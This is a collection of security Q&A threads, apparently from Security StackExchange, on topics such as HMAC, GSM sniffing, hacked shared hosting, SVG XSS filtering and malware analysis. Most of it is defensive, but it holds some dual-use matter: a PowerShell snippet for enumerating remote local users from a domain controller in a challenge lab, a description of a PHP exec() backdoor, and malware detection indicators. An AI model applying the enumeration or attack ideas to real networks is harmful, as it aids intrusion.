Even if you chose to use a single Javascript interpreter to run JS code written by your untrusted clients, you'll soon have the appropriate tools to guarantee isolation since COWL (a confinement mechanism that successfully implements non-interference for JS code) is being standardised by the W3C.

Protect the OS

Whichever way you go, you simply need to ensure the processes that run your code are:

not run by root / with root-equivalent capabilities
contained within a cgroup to enable QoS limitations on CPU, memory, disk and network bandwidth (i reckon that latter one may require network namespaces)
contained within a user namespace

Knowing the computation result is trustworthy

Take a course in language-based security :-) This is a very hard goal usually and requires a lot of assumptions on the language and on the safety properties you want to guarantee.

Good luck!


Randomizing system call numbers to prevent rootkits? I've heard of rootkits that infect computers by first having a simple virus infect the computer, make a call to the "command" computer containing the target computer's specs.
 With the specs, the command computer starts compiling a rootkit to infect the target computer with, or it delivers a pre-compiled version of it.
This seems like an effective way to get around the nuance of Linux machines supporting a wide variety of platforms.

However, what if something such as the system call numbers on the target machine were different from the standard system call numbers, maybe even randomized on install?

Would this prevent the command computer from being able to send a functional rootkit/virus?

Can system call numbers be specified/assigned?  (I am assuming this is possible by modifying and compiling your own kernel, or is it?)

That'd be a very disruptive thing to do; you wouldn't be able to run any binary on your system, and would have to compile everything from scratch; including the compiler.

Security by obscurity hardly works.


Why a symmetric key for HMAC? I am working on securing a RESTful API and am using the Amazon AWS HMAC model as my guide. I am struggling with coming up with a secure way to store the symmetric keys on my end.  What is the standard practice?  This is a Java web app running in a Solaris environment.

Is there any reason why a symmetric key is used, with the attendant pain of secure storage and communication of the shared key, instead of an asymmetric key?  I know there is a speed difference, and thus some scaling concern, but what else am I missing?

The key used in HMAC is, by definition, symmetric: the same key is used to compute the MAC value, and to verify the MAC value. Digital signature algorithms are asymmetric, which means that the key for verification is distinct from the key used for generation; this "difference" is strong: the key used for generation cannot be recomputed from the key used for verification (at least, nobody found a way to do that in a non-ridiculous time with existing technology).

Digital signatures make sense in situations where the verifier must be able to verify signatures, but without being granted the power to generate other signatures of its own. This is typical of non-repudiation scenarios: only the signer must be able to produce valid signatures, otherwise the signature cannot be unambiguously attributed by third parties (e.g. a judge) to that specific signer. However, in authentication scenarios such as Amazon AWS, there is no third party to convince; there is only the client and Amazon. When a HMAC value is successfully verified, the Amazon server is convinced that someone knowing the HMAC key was involved; since that key is known only to the client and the server itself, and the server remembers not having used the key for that message himself, the server easily concludes that the client computed the HMAC.

Digital signatures imply some overhead:

More CPU: generating a digital signature and verifying a digital signature requires more work than HMAC (difference is negligible for big messages, but can be significant for small messages of less than a few kilobytes).
More network bandwidth: a very robust HMAC value fits in 16 bytes, whereas an equivalently robust RSA signature will use 256 bytes (this can be lowered to about 64 bytes with DSA or ECDSA). There again, this is significant when processing lots of small messages.
More storage size: a RSA public key (for verification) will use 256 bytes; the private key will use more (about one or two kilobytes). ECDSA can help, to some extent (down to about 32 bytes for either key), but it is still larger than the 16 bytes for a HMAC key.
Randomness: many digital signatures require some per-signature randomness, which must be obtained from a cryptographically secure PRNG.
More complexity: mathematics and code involved in digital signatures are more complex than HMAC (HMAC is just a pair of hash function invocations; digital signatures begin with a hash function invocation, and then do weirder things). For security, complexity is bad.

So you do not want to use digital signatures in contexts which can be equally well served with a simpler HMAC. In my view, the most compelling reason is the last one: complexity should be avoided.


Hacking/Sniffing/recording GSM like Karsten Nohl For a course at college, I wanted to reproduce the attack on GSM shown in this video by Karsten Nohl: https://www.youtube.com/watch?v=0hjn-BP8nro.

From what I understand he used an USRP radio to record the data. Those devices all cost starting at 1000$. I was wondering what the requirements for a radio receiver are to do that hack and whether you can do it with a device costing 200$ or less. Wikipedia lists a bunch of software-defined radios and has a couple of devices in an affordable price range for a college student: https://en.wikipedia.org/wiki/List_of_software-defined_radios

Obviously it should be able to run GNU Radio software and have a connection to the laptop with high enough bandwidth for transmitting all of the recorded data in real time, since the cheaper devices probably don't have an HDD/SSD (I assume USB 2.0 would be sufficient enough, but in the video posted above Karsten Nohl does not say, how many MB/s he recorded).

Now am I missing some other functions and requirements? What about the radio reception strength?

A great link/thread, with nice informations to start. USRP's are indeed quite expensive and RTL-SDR could be really cheap, but not always reliable.I use the HackRF-One(30MHz–6GHz, half-duplex though), and it costs 344€.


Is it less secure to use OpenDNS for banking accounts, SSH, Adsense account? I have one WiFi connection in my house which I use for my iPad, phone and computers.

I want to block adult sites, time consuming sites for every device that use the WiFi connection.

So I came across OpenDNS. BUT I'm worried because I use the connection for my banking actions, SSH, Adsense account etc.

Losing any of those accounts is equals to losing my house.

So is it secure to use OpenDNS in my situation? Or do you have any advice?

Both should be just as secure as it was previously.  DNS just resolves domain names to ip addresses.  This is completely separate from any security model, and OpenDNS is probably as trustworthy as the DNS you were getting from your local ISP.

When you go to a website, you type in a domain name (security.stackexchange.com.) which your browser than queries a DNS server to get an IP address (64.34.119.12).     This tells your computer which address your request packets should be directed to over the open internet.  Then your packets are routed over the open internet, so they should go to the computer that was assigned that IP address.   By choosing to use OpenDNS you just are asking different computers what is the IP address of security.stackexchange.com, whether you'll trust your ISP's DNS servers or OpenDNS's for these types of inquiries.

However, both of these systems could be subverted.  The DNS record/response could be tampered with to direct you to the wrong IP address, or the routing that should go to 64.34.119.12 could be redirected by a malicious router to the wrong server.  So in general you shouldn't trust regular old http connections.

But if you connect to your bank, you typically go to an HTTPS site (https://www.yourbank.com).  Most modern web browsers will display a Lock in the URL and have https in green, if your browser has a properly signed certificate issued from a trusted certificate authority (CA).  Your web browser comes with a list of trusted CAs, and automatically checks that the certificate is valid, is trusted, and was issued to the domain name you wanted to go to.  You will also be warned if the page doesn't have a properly signed certificate, or a certificate for the wrong site, or one that expired, etc.  You should not do any sort of banking/credit card transactions over non-https connections.  Furthermore, your https traffic will be encrypted, so eavesdroppers cannot listen in.  You should be careful to make sure that the domain name of the https is correct, e.g., its https://www.yourbank.com as opposed to https://yourbank.notyourbank.com.

When you ssh to a server that you have connected to in the past, you have the public key of the remote server stored on your computer in the ~/.ssh/known_hosts file.  You will be warned if the remote server cannot answer a challenge for the public key  (that the server could only answer if it has the corresponding private key) or if the public key changes.  Thus after connecting to a ssh server once from a trusted computer, you can be assured that subsequent connections are to the same computer.  ssh also encrypts all traffic.


HttpOnly at logout page Firstly, my website can't be accessed without a session established. After a session is established then the server would set cookies. However, if i assess the website without a session, my site will display a logout page. In this case, does the server need to set HttpOnly or the Secure flag in the response?

Thanks

You should always set the cookie as HTTPOnly if your cookie contains sensitive information (such as personal info, session related info, session identifier etc.). This prevents JavaScript from accessing this cookie in case of an XSS bug in your website.

As far as Secure flag is concerned, you should set your SECURE cookie attribute if your clients communicate to the server over HTTPS. This prevents the client from sending your cookie over non-HTTPS communication.


Differences between compromised shared hosting and dedicated/virtual hosting My webspace has been compromised as explained on this answered question. While  looking for advice on other q&a it seems to me in the answers it is assumed the compromised system is a full dedicated or virtual, but not the shared hosting type.

As in shared hosting, even if ssh is available, most of the system is not there or not accessible, and many relevant tools such as a package manager are unavailable, there must be a difference between what can be compromised and how to deal with it in comparison with full servers.

For example, there is no access to root and no package manager.

I would like to understand the differences from the point of view of securing the web space after the attack.

It's possible that the cause of the problem is not that the shared hosting server is compromised - but instead that you are using a wordpress plugin that is vulnerable to this type of attack.  See the link below for a list of wordpress plugins with known vulnerabilities.  Take note of those whose vulnerability type is 'arbitrary file upload':

https://firstsiteguide.com/tools/free-fsg/hacked-dangerous-vulnerable-wordpress-plugins/


How to share penetration tests results + remediation plan to third party companies without exposing one's self We are integrating our services with 3rd party companies (ie customers are able to buy the products of third party companies on our platform). These companies are asking us to provide to their security teams a penetration test.
Although we have several quotes from security companies for them to provide penetration tests for us, I had our in house dev-ops guy run a basic penetration test (to save money) and he created a basic report listing the vulnerabilities and our remediation plan.
My question is: can I just provide this test to the third party companies? Doesn't this expose our system's vulnerabilities and if it falls in the wrong hands, can cause a lot of harm to my company (for example, I'm not even sure about their security best practices, how do I know that they won't just leave the report lying around somewhere. What if due to negligence it falls in the wrong guys hands, will they take responsibility for that)?

Normally, these kind of audits simply require an executive summary to be disclosed.
While security by obscurity is a universally recognized anti-pattern, it doesn't mean you have to disclose full details of your vulnerabilities.
Problem 1: the self assessment
I trust the professionality of your DevOps guy. Without having to offend his skills, most external companies demand a reputable third party to perform the security assessment.
Your DevOps guy can be honest and professional, and provide real insights on the security. Or your DevOps guy can be insufficiently educated on security and miss important vulnerabilities. Or your DevOps guy can be a former Volkswagen employee (please, please, allow me some humour sometimes) and pretend there are no vulnerabilities just to make a good impression.
This is why companies demand an external trusted and reputable party
Problem 1.5: the cheap assessment to save money is a clear indicator that this penetration test is unlikely to work, irregardless that it found real security holes.
If you hire a reputable security company, they will do a more thorough test.
Problem 2: what to disclose
In general, these external suppliers/customers want to get an indication of your security levels to have business with your company.
An executive summary (that is, literally, a summary made to be read by high-level executives that don't work with technical things) contains a list of known vulnerability types associated to a severity score.
It doesn't contain details on how to exploit those.
Problem 3: mitigation
Please expect the suppliers to demand you to fix high-level vulnerabilities and re-assess the sytem.
Often they require to fix vulnerabilities rated >= 6 or 7, depending on the requirements. And then you will have to go through another scan and confirm the agreed vulnerabilities are not present anymore in the system
My case
Source: I was directly involved in such an activity.
In the past years, we had a code scan from Veracode as requested by one of our US customers before deploying our code on their premises.
Veracode is not a penetration test, it is an automated code static analysis tool. We had real pen-tests but they are out of the scope of this example.
It was part of the contract to share the full report with the customer, as they happened to sponsor the scan.
Later, we had an audit request from a Swiss bank we wanted to have business with, but they didn't request to perform a security scan, they just demanded that we did and provided an executive summary.
We responded with the front page of that Veracode audit, displaying their logo and our company name. A few pages later, a table showed the list of remaining vulnerabilities (yes, we had, and yes, we fixed high-priority ones!) that were all scored < 6 out of 10. We gave that to our prospect as well.
We knew exactly where our vulnerabilities were, because Veracode highlighted file name and line number of suspect code. We never had to disclose such details to Swiss customer.
I don't know what happened next, but probably we got the contract. I should ask my Sales Account Manager for details


Shared hosting hacked. Should I report this to someone? A malware file appeared on a friend's server as described in this question. It's a file called "images.php" that is designed to look like nothing important, whose sole function is to wait for an unknown party to send it some code to execute.

The server is on shared hosting. The hosting company adamantly insists that if it happened at all, the only possible explanation is that my friend's password was compromised (somehow). They have no interest whatsoever in the particulars of the attack or the possibility that other servers under their control may have been effected.

The offending file has been removed, all passwords have been changed, and nothing else seems to be out of place. The website in question is basically a business card and nothing was changed, so there is no damage to speak of. There is no reason to think that the attack was in any way targeted or personal. The owner and the hosted server are located in California, USA.

It would be easy to set up a replacement script for "images.php" that would log any requests without executing them. So my question is, is there any reason to do that? Is there any organization (law enforcement, security researchers, etc.) that would be interested to know about the attack, the code used, or any follow-up requests?

Is there any organization (law enforcement, security researchers, etc.) that would be interested to know about the attack, the code used, or any follow-up requests?

The code you posted in the other thread gives the impression of being unique because malware creators use an algorithm to generate a slightly different obfuscation function every time. This prevents it from showing up in Google or from AV software recognising it using a simple string match.

However, the core functionality (which is to take external input and run it through exec()) is incredibly common. I've personally come across of at least a dozen identical cases (and I don't work in security or anything like that) and I imagine there's hundreds of thousands of sites running this code out there at any given time. Your host is probably apathetic because they've already dealt with 10 different instances that day if they're a large host. Law enforcement is probably equally unlikely to be interested.

  possibility that other servers under their control may have been effected

Shared hosting users are usually pretty well isolated from one another. As I mentioned, shared hosting accounts get hacked all the time. Most hosting companies also run off the shelf shared hosting management software – so if the isolation was really broken in their system it would also be broken for other hosts and discovered pretty quickly (although who knows, some hosts might be too lazy to update their software).

  It would be easy to set up a replacement script for "images.php" that would log any requests without executing them. So my question is, is there any reason to do that?

It could be mildly interesting, but it's a pretty safe bet the only thing you'll get are scripts to send viagra spam.

  The hosting company adamantly insists that if it happened at all, the only possible explanation is that my friend's password was compromised (somehow).

It's possible (and perhaps likely). What FTP client does he use? Many FTP clients (cough FileZilla cough) store their passwords in plain text and in a very predictable location. In other words, it's a perfect target for malware on his PC.

It's also possible they sent him a phishing page which looks like his hosting login, it wouldn't be hard to determine his hosting company or email.

There's some chance it was compromised via a vulnerability in the site but this is unlikely if it's just a simple business card site which accepts little or no external input.

The bottom line is, there's a pretty big incentive for malware creators to compromise hosting accounts. Usually they're a pretty easy target and all the spam in the world has to get sent from somewhere!

In terms of cleaning it up, if you've only got a few files then just manually check all of them. Otherwise go by file date-stamp, but it is sometimes possible to alter this.


Data Retention Laws for ISPs in North America I was reading an article on TorrentFreak where Private Internet Access claims the United States "is one of the only countries without a mandatory data retention law." According to the linked article ISPs currently do not keep track of who had what IP address but governments are considering to pass a law forcing them to do so. I'm confused, do ISPs in North America have to save logs and what information would these logs contain exactly?

What are arguments against it? It would seem the only time ones privacy would be compromised is when police already know a crime has been committed.

One significant argument against data retention laws is that data retention laws increase risk for everyone.  If ISPs save data, then they themselves become a juicy target for hackers, because anyone who manages to hack the ISP gets access to lots of sensitive data about their customers.

A good reference would be this paper:

Risking communications security: Potential hazards of the “Protect America Act”, Steven M. Bellovin, Matt Blaze, Whitfield Diffie, Susan Landau, Peter G. Neumann, and Jennifer Rexford.  IEEE Security & Privacy, 6(1):24-33, January/February 2008.

Make sure to read about the penetration of the Greek wiretap system, which allowed unknown parties to spy on important Greek political leaders.  In that case, deploying the surveillance system actually made Greece less safe, not more.

Another argument data retention laws is that they violate people's civil liberties and their privacy.  Arguably, people have a right to privacy in their online activities, at least when they are legal.  A mandate to store all of this information against their wishes arguably violates that right, and exposes them to risks they might not consent to.

A third argument against data retention laws is that, in the US, most ISPs already retain a good deal of data, so we may be talking about something that is not a serious problem in practice.  (Of course, I make no claim that the current situation is perfect or that law enforcement might not wish additional information -- merely that the current status quo may be good enough that controversial legislation is not warranted.)

If you want to read concerns raised by privacy groups in their own words, you can read CDT's resources on data retention policy and EPIC's resources on data retention policy.

Keep in mind that I'm just trying to help you identify some of the arguments against data retention here, since you asked what those arguments might be.  I'm deliberately avoiding taking a position on the ultimate policy question of what the law ought to be, as this is not the right place for a policy debate on that topic.  Please don't use this thread to start a debate on the topic.

P.S. See also What are the laws regarding ISP recording IP addresses? How would they know who had which?.


Viewing local users on a workstation when I'm SYSTEM on Forest PDC I'm doing some exercises on a challenge lab. I'm SYSTEM on the Forest PDC.

I need to figure out the SID of a local user on a machine in another domain in the forest.

I can get there with PTH and run a command locally, but my exercises say I should be able to do that without leaving the PDC.

In Windows, how can you query local users on a domain joined workstation, when you're domain admin?

Well if you've ever used the "Local Users & Groups" snap-in, you'll know this is possible.  Just remember that the accounts aren't actually going to be in AD at all, so you'll need to have the remote server do the lookup for you.  In a C program, you can use NetUserGetInfo to get details on a specific account or NetUserEnum to get a list of all users.

However, I think your best bet might be to use PowerShell.  Here's an example:

([ADSI] 'WinNT://TABLET').Children |
    Where {$_.schemaClassName -match "user"} |
    Select Name, objectSid |
    ForEach-Object {
        New-Object -TypeName PSObject -Property @{
            Name = $_.name[0]
            SID = (New-Object Security.Principal.SecurityIdentifier ($_.objectSid[0]), 0).Value
        }
    } | Format-Table


Will disabling WebGL make me more or less unique on the internet? I have wondered whether disabling WebGL will make me more or less unique, I fiddled around with https://panopticlick.eff.org/ to see what would happen.

If I keep it enabled I am 1/205.66, with me being 1/465611.25 browsers visiting. However, if I disable it my WebGL hash is 1/5.74, but my browser is all of a sudden 1/1,862,446.

This seems extremely odd to me unless there is some very specific parameter that others who normally disable it have that I don't have. Alternatively, I have entered the site several times now without removing the fingerprint could my own visits make me appear "less unique"?

My goal is essentially for my fingerprint to be as common as possible, will disabling WebGL improve or reduce that?

Edit: Follow-up question what os and browsers typically have webgl disabled?

Panopticlick is not a comprehensive browser fingerprinting analysis tool. In fact, it is pretty poor and only exists to raise awareness about fingerprinting. For example, it doesn't do the extensive WebGL fingerprinting was touched by recent research papers. Because of that, it does't take into account the fact that WebGL can be used to identify an individual system with nearly 100% accuracy, effectively bringing your anonymity set down to exactly one individual: you. The same is true for techniques such as AudioContext fingerprinting, which Panopticlick likewise does not use. This behavior results in the site mistakenly concluding the disabling WebGL decreases your anonymity set.

Browser fingerprinting is a complex topic, and no one service can tell you exactly how unique your system is. Currently, the most effective way to mitigate browser fingerprinting is to use the Tor Browser, which strives to have a uniform fingerprint among all its users. It will disable features that can potentially allow cross-browser fingerprinting, such as AudioContext fingerprinting and WebGL fingerprinting.


What does a HTML filter need to do, to protect against SVG attacks? I recently learned that SVG (Scalable Vector Graphics) images introduce a number of opportunities for subtle attacks on the web.  (See paper below.)  While SVG images may look like an image, the file format can actually contain Javascript, and it can trigger loading or execution of HTML, Flash, or other content.  Therefore, the SVG format introduces new potential ways to try to sneak malicious content onto a web page, or to bypass HTML filters.

I'm writing a HTML filter to sanitize user-provided HTML.  What do I need to do in my HTML filter to make sure that SVG images cannot be used to bypass my filter?  What HTML tags and attributes do I need to block?  Do I need to do anything when filtering CSS?  If I want to simply block all SVG images, what are all the ways that SVG can be embedded into a HTML document?

References:

Crouching Tiger – Hidden Payload: Security Risks of Scalable Vectors Graphics, Mario Heiderich, Tilman Frosch, Meiko Jensen, Thorsten Holz.  ACM CCS 2011.

See also Exploits or other security risks with SVG upload? (a different, but related, question) and Mike Samuel's answer elsewhere.

I am one of the authors of this paper you linked. And I noticed, that some of the advice given in this thread is well-meant and well thought but not 100% correct.
For example, Opera is not providing reliable safety when dealing with SVGs embedded via <img> or CSS backgrounds. Here's an example for that, just for fun, we created a SVG embedded via <img> that would contain a PDF that would open a skype: URL that would then call you:

http://heideri.ch/opera/
http://www.slideshare.net/x00mario/the-image-that-called-me

We created the SVGPurifier - a set of rules that extend the HTMLPurifier to be able to deal with cleaning SVG. Back when we wrote those rules (you can have them if you want - let me know and I'll put 'em on Github), every browser we tested treated SVG differently. Also strongly dependent on the way it was embedded: inline, with <embed>/<object>, <applet>, <img>, SVG in SVG, CSS background, list-style and content...
It turned out that it was possible, to find a harmless subset in SVG if you threat model mainly involved XSS and beyond. If your threat model nevertheless also includes for instance mitigation of UI overlaps, side-channels, history stealing attacks and what not it gets a bit harder. Here's for example a funny snippet showing, how we can cause XSS with very much obfuscated JavaScript URI handlers: http://jsbin.com/uxadon
Then we have inline SVG. In my personal opinion, this was one of the worst ideas W3C/WHATWG ever had. Allowing XML documents inside HTML5 documents, forcing them to comply with HTML5 parsing rules and what not... security nightmare. Here's one gripping example of inline SVG and contained JavaScript that shows, what you'd be dealing with: http://pastebin.com/rmbiqZgd
To not have this whole thing end up in a long lament on how terrible SVG might be in a security/XSS context, here's some advice. If you really and still want to / are working on this HTML filter, consider doing the following:

Give us a public some-test where we can hammer that thing.

Be flexible with your rule-set, expect new bypasses every day.

Make sure to know what the implications of filtering inline SVG are.

Try to see if the HTMLPurifier approach might be the best.
White-list, don't black-list.

Avoid reg-ex at all costs. This is not a place for regular expressions
to be used.

Make sure that your subset only allows those elements, that have been
tested for security problems in all relevant browsers. Remember the
SVG key-logger? http://html5sec.org/#132

Study the SVG-based attacks that were already published and be prepared to find more on a regular basis: http://html5sec.org/?svg

I like the idea of someone attempting to build a properly maintained and maybe even working HTML+SVG filter and I'd be more than happy to test it - as many others as well I assume. But be aware: HTML filtering is damn hard already - and SVG just adds a whole new layer of difficulty to it.


Disable support for static key cipher suites I have a requirement to disable in the windows 7 computers of the company the support for static key cipher suites.

I have searched and found that this registry key, holds the allowed cipher suites, in a value called Functions.

HKLM\SOFTWARE\Policies\Microsoft\Cryptography\Configuration\SSL\00010002

I have searched about how to identify the static suites in order to remove them from the list. but I haven't found anything.

My question is what I need to search in the ciphers string, to remove the support for static keys.

  TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA25,.....

As stated earlier by Sjoerd 'Static cipher suites are suites that do NOT provide forward secrecy'. So our objective is to limit ciphers suites to those which do have forward secrecy feature.

Forward Secrecy is provided by the ephemeral aspect of DHE (Diffie-Hellman Ephemeral) and ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) ciphers.
Ephemeral DH uses a distinct key for each exchange vs. one key for entire session used with fixed DH.

The perfect forward secrecy offered by DHE comes at a price: more computation. The ECDHE variants uses elliptic curve cryptography to reduce this computational cost.

The list provided by Roger Martínez Hernández above includes only those cipher suites that have DHE or ECDHE in them. So the list is good. An easy way to implement this is to use IIS Crypto 3.0 and select or check only these ciphers from the "Cipher Suites" section.


Detection and analysis of unknown malware Suppose I have a binary which is suspicious. How can I determine whether it is malicious, and if it is, reverse-engineer how it works and what it does?  For example, maybe using static analysis?

Are there any documented malicious API calls somewhere? I couldn't find any in the papers I've read. I could submit it to a sandbox, but I want to learn how to analyze a malicious PE binary.

Is there any documented malicious API calls somewhere.. I couldn't find one in paper.

No, because all API calls can be both valid and malicious, depending on context. In terms of analysing a piece of malware, this is something you normally do by hand.
A quick primer on Windows executables looks like this: All windows executables that make API calls must import those addresses from System DLLs. This happens at two levels; statically, where the imports are coded in and dynamically, if the executable loads DLLs on the fly. So one place to start analysis is to look at what an executable imports in terms of API calls. You can do this with:
dumpbin /IMPORTS executablename.(exe|dll|ocx|scr|anything executable)

(alternatively, disassemblers will present this information in the output disassembly).
Another useful technique might be to dump all printable ascii strings and take a look through them. If the malware is poorly written, you might well find hard coded urls to suspicious locations in there or other data. If you find the string cmd.exe in there, that's pretty suspicious.
Other suspicious properties of executables include abuses of the PE format, for example incorrect use of headers. Most if not all linkers will respect all the headers of the format, yet some are unnecessary and Windows will actually execute an image with code in the headers with careful assembly. Small executables like this, especially those that make calls to network functionality, should be viewed as suspicious.
Images with data beyond the end of the image (this is allowed - this is how winzip self extractors and installers of the exe variety typically work) could also be viewed as suspicious, since you have a data payload there.
However, a good malware author knows this and is more than capable of obfuscating those strings and providing valid executables as the actual size cost isn't that prohibitive. At this point, statically, it is often worth disassembling the code and reading through it. A thorough knowledge of assembly is necessary at this point, as is knowledge of how linking works and how to interact at an ABI level with the operating system you're on. Rakkhi mentions labs full of people - this is where they come in.
So that's a brief set of things you could do to analyse an image statically (without running it). If you have a system to sacrifice (like a virtual machine) then you might also consider running it and analysing what happens. Some tools for Windows:

depends.exe from the DDK will profile executables to work out all DLLs they import.
windbg.exe allows you to debug a live image running, telling you at run time what the various values in registers might be, what calls are being made. Some people like ollydbg, but it has no x64 support at the time of writing, so I don't use it.
Various tools from SysInternals come in useful for finding out what registry keys, files etc an application is attempting to interact with. See Mark Russinovich's writeup of detecting the sony rootkit with exactly this set of tools.
IDA Pro. I can't afford said tool myself, but it is one of the tools in this industry.

These are equivalent to commands like strace and ltrace on Linux, along with pmap. They give you information about what the process actually tried to do and the debugging tools in there allow you to step it through. I should point out this is very unsafe and you should only really do it in a controlled environment.
In terms of actually running processes, there are a few things which generally look suspicious all the time. These don't necessarily mean the process itself is malicious - it could well have been exploited and had code injected. They are:

mmap(0). No process should really need to mmap to zero; operating systems will usually map to any other address space under standard usage. mmaping to zero is useful for an assembler-based program because 0 is an easy reference address. Jonesforth does this, for example, so that any 0 bytefields under a debugger indicate code being interpreted from forth syntax rather than a built in function, which is a handy trick. By and large though, unless the executable was written entirely in assembly it will never do this. Malware authors might use it as an easy reference point, because there's probably nothing mapped there.
executable stacks. Pages on the stack do not usually to be executable since the stack should only really contain data.
executing data pages elsewhere. Very few programs need to load in custom code and execute it.
Access to certain operating system resources, like \Device\PhysicalMemory or the Linux equivalent /dev/kmem.
For drivers, modifying the system service table (Linux calls this the sys call table). On Linux, the sys call table is marked as read only by default since 2.6.24ish. On Windows, Microsoft have promised they will continually attempt to prevent anyone modifying the system service table directly, since the driver based API provides all the functionality any legitimate code probably ever needs.
Indiscriminate DLL injection, i.e. system wide dll injection. See also installing shell extensions, adding code to start up paths, boot execute modification - anything autoruns exposes could be both legitimate operation or malware attempting to persist reboot. If you're looking at a process either statically or dynamically, if it puts stuff here, do investigate what it does.

As for how AV does signature recognition, Rakkhi has that covered, particularly his observation that antivirus implementations act like malware in how they work (but not what they do). A signature only needs to consist of enough information to (hopefully, although false positives happen) uniquely identify the malware, so key properties of the file (size, say) and key characteristics in the file (certain combinations of instructions followed by zipped data for example).
From a career perspective I can't advise on how to get into this field; I'm an amateur. However, technically, if you're looking to work out how to examine a binary, I'd say pick on a safe one. Choose a program you have on your system, say notepad.exe, and look at what it does and how it behaves. Then move on to something more complicated. I say this because you can set the system up once and know it won't be damaged this way, so you can improve your work without having to reconstruct the system because the malware made it impossible to use after your dynamic analysis went wrong and you let it clobber the system.
Hopefully that gives you an idea of how to get started. Really, this is a massive field and I'd need a couple of books to explain it thoroughly. Finally, be careful handling malware.
Some really great resources not already mentioned:

x86 assembly wikibook. Surprisingly good resource on what you're reading.
Agner Fog's assembly resources. Outstanding detail; I use objconv from here to disassemble programs as it is one of the best free disassemblers I've ever seen (even includes support for x64, SSE4, etc).
Windows PE format, just for interest.
Windows SDK, Windows DDK.
Mark R (again) on Stuxnet, part 1. Uses SysInternals to analyse the Stuxnet virus.
The Old New Thing - this is a blog on programming at the Win32 level from the guys at MSDN. It runs through how various parts of Windows programming work; following it over time you'll learn an awful lot.
Really small ELF files for Linux. Just because it's cool. Goes nicely with the PE one.


Can malware have signed code? When I run an exe that has signed code on Windows, I feel kind of safe. But I wonder if walware can have signed code?
According this this article

  Microsoft Authenticode® is a technology that can help ensure the source of code.  It does not ensure that code is safe to run, but it can ensure that the code is associated with an entity in a trust chain.

Can walware's hacker just create a signed code for themselves to trick Windows that this software has signed code? How can Microsoft guarantee that only Certificate Authorities (CAs) can create signed code?

Can malware have signed code?

Yes.

Many pieces of malware have been signed, including Stuxnet, and the malware recently bundled with CCleaner have been signed, in the case of Stuxnet this was probably done by stealing the signing certificate, whereas in the case of the CCleaner attack it seems it was done by infecting the build server, so that it would inject malware in before signing the release.

How can Microsoft guarantee that only Certificate Authorities (CAs) can create signed code?

The CAs do not directly create code, they issue certificates, which developers then use to sign their executables.

For example, if FooBar Widgets released an app, they could sign it with a certificate like this:

Root CA
   Intermediate CA
       FooBar Widgets

If your computer trusts the Root CA then it will trust the certicate for FooBar Widgets, and show the signed prompt for the program, instead of the unsigned one.

As such there are 4 main ways to try to get around this form of code signing:

Break the signing scheme (like Flame did)
Trick the CA into making a fake cert (More common in SSL certs)
Steal the Signing Cert (Stuxnet style)
Trick the company into signing your malware (CCLeaner style)

References

Stuxnet-style code signing is more widespread than anyone thought
Analyzing the MD5 collision in Flame
Inside 'Operation Black Tulip': DigiNotar hack analysed
Avast urges devs to secure toolchains after hacked build box led to CCleaner disaster


How does one know when a message is successfully decrypted? How do people who decrypt encrypted messages know they have decrypted to the correct message? Do they just keep decrypting until the message is in English (or any other language), or is there a standard, proven method that says that when a certain algorithm is applied to an encrypted message, the original message is reproduced?

I was just thinking about this today and it struck me that it is quite possible to hide a message inside what seems to be the actual message, which could be intended to throw off anyone who might be trying to decrypt the encrypted message without knowing the encryption technique. So with this new insight, it sort of makes it impossible to decide if the message decoded is the original, or another puzzle. Is this a thing, or am I missing something?

Edit:

I feel I should narrow this down to a specific instance, so that answers are less broad. In the case of a war, when the one side intercepts an encrypted message/transmission, is it always guaranteed that the decrypted message is the original intended message [before encryption]? Say you have a job of decrypting intercepted messages, and are given an intercepted encrypted message intended for the enemy, how would you even start decrypting it or choosing an algorithm that could do it? Is there like a step by step process that the entire process from A-Z depends on and is proven to work?

Also as one of the answers pointed out, how would you know the enemy is sending encrypted coordinates or a message? Or is the same decrypting technique used universally? In essence, are humans so predictable that any encryption technique developed is following some predefined pattern (answer with pattern or link)? I hope this is enough to set some new answers on the right track.

I'm sure the real -not so useful- answer is "it depends", but I think you're on the right track here:

A good way to start is to detect ASCII characters (assuming, it's a text message in ASCII), or a file header (if the file type is known), or a "known" sample, being a sequence of characters (think TCP/IP headers, XML tags, ...).

In weak cyphers (such as XOR or any Caesar-alike thing), you can detect patterns, which if you substitute with another value, you can try to derive the key, or parts thereof.

This is of course a simplified version, Cryptanalysis is a very broad field and by no stretch am I an expert in it.


Where do I find more information about a given hacking attempt requests to my website? Having a report which shows me to which requests my website responded with a 404, I often find hacking attempts like this:

Some are recurrent and too explicit, like PHPMyAdmin-type requests exploiting the known vulnerabilities in old versions of PHPMyAdmin.
Other are new and related to something which happened recently. For example, probably every website received an /index.php?-s request the last days.
Other, finally, are cryptic to me. What is, for example, /spaw2/spacer.gif I see very frequently (with its variants like /admin/spaw/spacer.gif)? Or /wpad.dat that I've already seen a few times?

Every time I see a (failed) vulnerability exploit in the reports of a website, I want to know more about the vulnerability, since:

If this variant of the vulnerability exploit failed with a 404, another one may succeed,
If the vulnerability exploit failed with a 404 on my website, it may succeed on a website of one of my customers who have different configurations and platforms.

Is there a website which maps¹ URIs to vulnerabilities? If not, how to find what is the vulnerability corresponding to an URI, keeping in mind that Google search for this URI is polluted by server logs, usage statistics and other automated reports?

¹ A such mapping would, of course, have two limitations: being able to map only the patterns and not the whole request when the request contains, inside it, the IP address of the attacker or a zombie, and being irrelevant for proxy requests, i.e. the requests which attempt to see if your website can act as a proxy.

Having a web server, I often find some of those 404 errors.

Those reflect a bot trying many URLs that, if they don't return a 404 error code, mean the targeted application exists in the server, and an exploit is possible.

  If this variant of the vulnerability exploit failed with a 404, another one may succeed,

Keep in mind that while you get 404, it means you don't have the targeted application installed, and your server is not at risk (for this application). It's when the bot will hit a 200 http status code that you will have to worry, since it means the page exists and thus a possible vulnerability is present (it now depends on the version of the application).

Now, I don't know any "Matching url to application", but since the application are usually installed in a directory of their name, say "phpmyadmin" for ... well, PHPMyAdmin, you'll be able to guess that /spaw2/spacer.gif is for the Spaw2 editor.

Now, in order to secure your web server a little bit more, I can recommand you to :

Install application in a non logic name. PHPMyAdmin should not be present at /phpmyadmin/. As you can see, bots are also trying /pma/, but you can install it at /p-m-a/ or even something opposite like /kikoo/.
For risky application, like ... PHPMyAdmin, I warmly recommend you to limit access to some IP address only, using the .htaccess if you're using Apache, or directly in the configuration of your host for others (like NGinx). If you can't, having it on some other folder (see #1) is a good start.
